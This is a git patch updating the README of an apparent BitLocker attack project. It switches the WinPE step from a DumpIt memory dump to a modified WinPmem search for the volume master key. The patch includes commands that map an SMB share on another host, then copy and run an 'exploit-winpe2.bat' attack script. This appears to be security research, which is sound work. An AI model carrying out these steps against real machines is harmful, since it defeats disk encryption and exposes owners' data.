From 137174e45d20819c3fb062a02037512e4969c03e Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Marc=20Andr=C3=A9=20Tanner?= Date: Tue, 18 Mar 2025 21:23:12 +0100 Subject: [PATCH] winpe: Update README with new instructions --- README.md | 15 ++++----------- 1 file changed, 4 insertions(+), 11 deletions(-) diff --git a/README.md b/README.md index 22adae4..5d7a59a 100644 --- a/README.md +++ b/README.md @@ -92,7 +92,6 @@ also need: - dnsmasq - impacket's smbserver.py - - [Magnet DumpIt for Windows](https://www.magnetforensics.com/resources/magnet-dumpit-for-windows/) (for the WinPE-based approach) ### Linux Initramfs Generation @@ -270,15 +269,11 @@ which initiates the loading of WinPE from a ramdisk. ### Boot into WinPE -Connect an external storage device with enough capacity to store a -complete memory dump of your system. We will assume it is mounted at -`c:\`. - Reconnect the SMB share, download the attack script and start the second part of the exploitation: ``` -C: +cd %temp% net use S: \\10.13.37.100\smb copy S:\exploit-winpe2.bat . .\exploit-winpe2.bat S: @@ -289,11 +284,9 @@ copy S:\exploit-winpe2.bat . > storage. This avoids the need for a network connection and might change > the internal memory layout. -This will first take a complete memory dump using `DumpIt`. Time will -depend on the amount of memory and the speed of your external drive. - -The memory dump is then searched for a volume master key (VMK). If -successful, a `vmk-*.dat` file should now exists in the current directory. +This will search physical memory for a volume master key (VMK) using a +modified version of [WinPmem](https://github.com/martanne/WinPmem-BitLocker). +If successful, a `vmk-*.dat` file should now exists in the current directory. The next step is to determine the byte offset of the encrypted partition relative to the start of the disk. This information can be queried as